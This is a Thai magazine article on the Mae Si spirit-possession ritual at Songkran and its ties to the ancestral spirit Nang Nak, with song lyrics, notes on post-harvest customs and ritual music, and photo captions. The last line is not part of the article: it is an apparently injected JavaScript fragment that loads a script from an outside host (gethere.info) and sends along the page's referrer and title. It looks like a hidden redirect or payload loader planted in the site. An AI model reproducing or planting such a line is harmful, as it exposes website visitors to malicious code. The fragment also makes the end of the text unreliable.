มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 25 มีนาคม 2559

 

ประเพณี 12 เดือน

 

เข้าทรงแม่สี สงกรานต์

ผีบรรพชน คนสุวรรณภูมิ

 

          แม่สี แปลว่าหญิงผู้เป็นใหญ่ หรือผู้หญิงที่เป็นหัวหน้า (มักเขียนว่า แม่ศรี เพราะเข้าใจคลาดเคลื่อนว่ามาจากคำบาลี-สันสกฤต) หมายถึงผีบรรพชนเพศหญิง

12 months25-03-59 1

          ผู้หญิงที่เป็นใหญ่ หรือเป็นหัวหน้า มีทั่วไปทั้งโลกยุคเริ่มแรกของภูมิภาคอุษาคเนย์ มีร่องรอยและหลักฐานชัดเจนเป็นที่รู้ทั่วไป เช่น นิทานกำเนิดบ้านเมืองและรัฐทั้งเขมรและมอญ ฯลฯ

          โดยเฉพาะเขมรมีนิทานเรื่องนางนาค แล้วไทยรับนิทานเรื่องนี้มา ยังเหลือเค้าอยู่ในกฎมณเฑียรบาลชื่อพระราชพิธีเบาะพก ว่าพระเจ้าแผ่นดินต้องบรรทมด้วยแม่หยัวพระพี่ ก็คือนางนาคอย่างเดียวกับนิทานของนครธม

          ฉะนั้น แม่สี หมายถึงผีบรรพชนผู้ยิ่งใหญ่เป็นผู้หญิง ก็คือนางนาค (มีเพลงนางนาค ในชุดทำขวัญเป็นพยาน) ที่ปกป้องคุ้มครองเผ่าพันธุ์บ้านเมืองและรัฐจนถึงราชอาณาจักรที่ทุกคนต้องเซ่นวักไหว้ดีพลีถูก หากละเลยเพิกเฉยก็จะถูกอำนาจเหนือธรรมชาติบันดาลให้วิบัติล่มจม

          ด้วยเหตุดังนี้ คนแต่ก่อนจึงต้องทำพิธีเลี้ยงผีบรรพชน ที่เรียกไปต่างๆ ว่า พิธีเลี้ยงผี ในวันขึ้นฤดูกาลใหม่ เดือนอ้าย แล้วภายหลังเปลี่ยนเป็นมหาสงกรานต์เดือนห้า ด้วยการเชิญผีมาลงทรง หรือเข้าทรง เพื่อขอคำทำนายทายทักว่าพืชพันธุ์ธัญญาหารปีต่อไปที่จะมาถึงข้างหน้า จะอุดมสมบูรณ์หรือจะล่มแล้งแห้งตาย จะได้เตรียมตัวรับสถานการณ์ได้ถูกต้อง

 

เข้าทรงแม่สี

          เข้าทรงแม่สี เป็นการละเล่นสำคัญที่สุดของพิธีเลี้ยงผีบรรพชนช่วงสงกรานต์

          เริ่มด้วยเชิญผีบรรพชนมาลงทรงหญิงคนหนึ่งมีผ้าปิดตา (เข้าทรง) แล้วร่ายรำทำท่าต่างจากอาการปกติในชีวิตประจำวัน

          โดยมีชาวบ้านที่ร่วมพิธีพากันร้องเพลงและปรบมือเข้าจังหวะพร้อมกัน บางทีเคาะโกร่ง, เกราะ, กรับ (กระบอกไม้ไผ่ขนาดต่างกัน)

          มีคำร้องตัวอย่างจากความทรงจำต่างๆ กันหลายสำนวนของชาวบ้านแต่ก่อน ดังนี้

          แม่สีเอย                แม่สีสาสะ

          ยกมือไหว้พระ           ว่าจะมีคนชม

          ขนคิ้วเจ้าต่อ              ขนคอเจ้ากลม

          ชักผ้าปิดนม              ชมแม่สีเอย

          ๏ แม่สีเอย                แม่สีสาวสด

          ใส่แหวนมรกต            ใส่แล้วผัดหน้า

          ดอกไม้ห้อยหู             สีชมพูห้อยบ่า

          น้ำอบชุบผ้า               ห่มเวลาเย็นเอย

          แม่สีเอย                แม่สีสาคร

          นมยานหน้าอ่อน         ผัวร้างเจ้าไว้

          กระดิกช้างน้อย เป็นทองคำเปลว

          เชิญมาเร็วเร็ว            เถิดแม่ทองสีเอย

          ๏ แม่สีเอย                แม่สีสาคร

          นมยานหน้าอ่อน        ผัวมาร้างเจ้าไว้

          สักสองสามปี             ว่าจะมีผัวใหม่

          แค้นอกแค้นใจ           เจ้าแม่สีเอย

 

แม่สี-นางนาค

          แม่สีกับนางนาค เป็นผีบรรพชนเดียวกันของคนในชุมชนลุ่มน้ำที่อยู่ใกล้ทะเล เช่น ตระกูลมอญ-เขมร บริเวณลุ่มน้ำเจ้าพระยา

          เมื่อตระกูลไทย-ลาว เคลื่อนย้ายจากลุ่มน้ำโขงลงไปตั้งหลักแหล่งที่ลุ่มน้ำเจ้าพระยาปนกับตระกูลมอญ-เขมร  ก็รับความเชื่อนางนาคหรือแม่สีมาเป็นของพวกตนด้วย

          มีเนื้อร้องเพลงนางนาคอยู่ในประชุมบทมโหรีโบราณสมัยกรุงศรีอยุธยา ลักษณะแต่งตัวเป็นอันหนึ่งอันเดียวกับแม่สี เช่น ห่มสไบสีชมพู ฯลฯ

          ร้องนางนาค พรรณนาความงามของนางนาคที่แต่งตัวปักปิ่นทัดดอกไม้ ประดับดอกจำปาสองหู และที่สำคัญคือห้อยสไบสองบ่าสง่างาม ตามนิทานและตามประเพณีแต่งงาน ที่เจ้าบ่าวจะต้องเดินตามหลังโดยเกาะชายสไบเจ้าสาวเข้าหอ ดังนี้

          เจ้าเอยนางนาค       เจ้าคิดแต่เท่านั้นแล้ว

          เจ้าปักปิ่นแก้ว           แล้วเจ้ามาแซมดอกไม้ไหว  

          จำปาสองหูห้อย         สร้อยสังวาลแลมาลัย 

          ชมพูผ้าสไบ               เจ้าห้อยสองบ่าสง่างาม

 

กิจกรรมหลังเก็บเกี่ยว

          เข้าทรงแม่สี เป็นพิธีเลี้ยงผีของคนชุมชนดั้งเดิมดึกดำบรรพ์ไม่น้อยกว่า 3,000 ปีมาแล้ว ที่มีอยู่ก่อนรับศาสนาและสงกรานต์จากอินเดีย

          เป็นกิจกรรมเรียกรวมๆ กว้างๆ ว่าประเพณีหลังการเก็บเกี่ยวในฤดูการผลิตเก่า (ราวเดือนมกราคม-กุมภาพันธ์) เพื่อเตรียมตัวรับฤดูการเพาะปลูกใหม่ที่จะมาถึงในอีก 2-3 เดือนข้างหน้า (ราวเดือนมีนาคม-เมษายน)

 

เพลงดนตรี

          สิ่งสำคัญในงานเลี้ยงผี คือ การละเล่น ที่ต้องทำร่วมกันทั้งชุมชน ทุกคนร่วมกันเล่นโดยไม่แยกว่าเป็นคนเล่นหรือคนดู

          เครื่องมือสื่อสารสำคัญคือดนตรีและเหล้า เพื่อหลอมละลายพฤติกรรมของทุกคนในชุมชนให้อยู่ในบรรยากาศและจินตนาการอย่างเดียวกันหมด

          ดนตรี มีหลากหลายไม่จำกัดเครื่องมือ สุดแต่ชุมชนนั้นๆ จะกำหนด แต่ที่เป็นหลักทั่วไปคือ ฆ้อง กลอง ปี่ แคน อันเป็นลักษณะร่วมของอุษาคเนย์ทั้งภูมิภาค

          กลอง มีหลากหลายรูปแบบ แต่ที่สำคัญเรียกกลองโทน หรือโทน เป็นเหตุให้เกิดการละเล่นเต้นฟ้อนตามจังหวะกลองโทน แล้วเรียกรำโทน (ที่ต่อมามีผู้คิดค้นสร้างสรรค์ใหม่แล้วเรียกรำวง เพราะชาวบ้านหญิงชายรำเป็นวงกลม)

เข้าทรงแม่สี (แม่ศรี) วันสงกรานต์ แม่สีต้องมีสไบพาดเหมือนคำร้องนางนาค ยุคอยุธยา (แสดงตัวอย่างที่ศูนย์วัฒนธรรมแห่งประเทศไทย เมื่อวันที่ 24 มีนาคม พ.ศ. 2547)

เข้าทรงแม่สี (แม่ศรี) วันสงกรานต์ แม่สีต้องมีสไบพาดเหมือนคำร้องนางนาค ยุคอยุธยา (แสดงตัวอย่างที่ศูนย์วัฒนธรรมแห่งประเทศไทย เมื่อวันที่ 24 มีนาคม พ.ศ. 2547)

เข้าทรงแม่สี อ.ศรีประจันต์ จ. สพรรณบุรี (เอนก นาวิกมูล ถ่าย อา27พย2537 SLA-0306-029)

เข้าทรงแม่สี อ.ศรีประจันต์ จ. สพรรณบุรี (เอนก นาวิกมูล ถ่าย อา27พย2537 SLA-0306-029)

เชิญแม่สีลงทรง บ้านพรงลำบิด หมู่ที่ 3 ต. หนองโสน อ. เมืองฯ จ. ตราด (ภาพจาก https://www.youtube.com เผยแพร่โดย สมชาย ก้องสนั่น เมื่อวันที่ 20 เมษายน 2556)

เชิญแม่สีลงทรง บ้านพรงลำบิด หมู่ที่ 3 ต. หนองโสน อ. เมืองฯ จ. ตราด (ภาพจาก https://www.youtube.com เผยแพร่โดย สมชาย ก้องสนั่น เมื่อวันที่ 20 เมษายน 2556)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;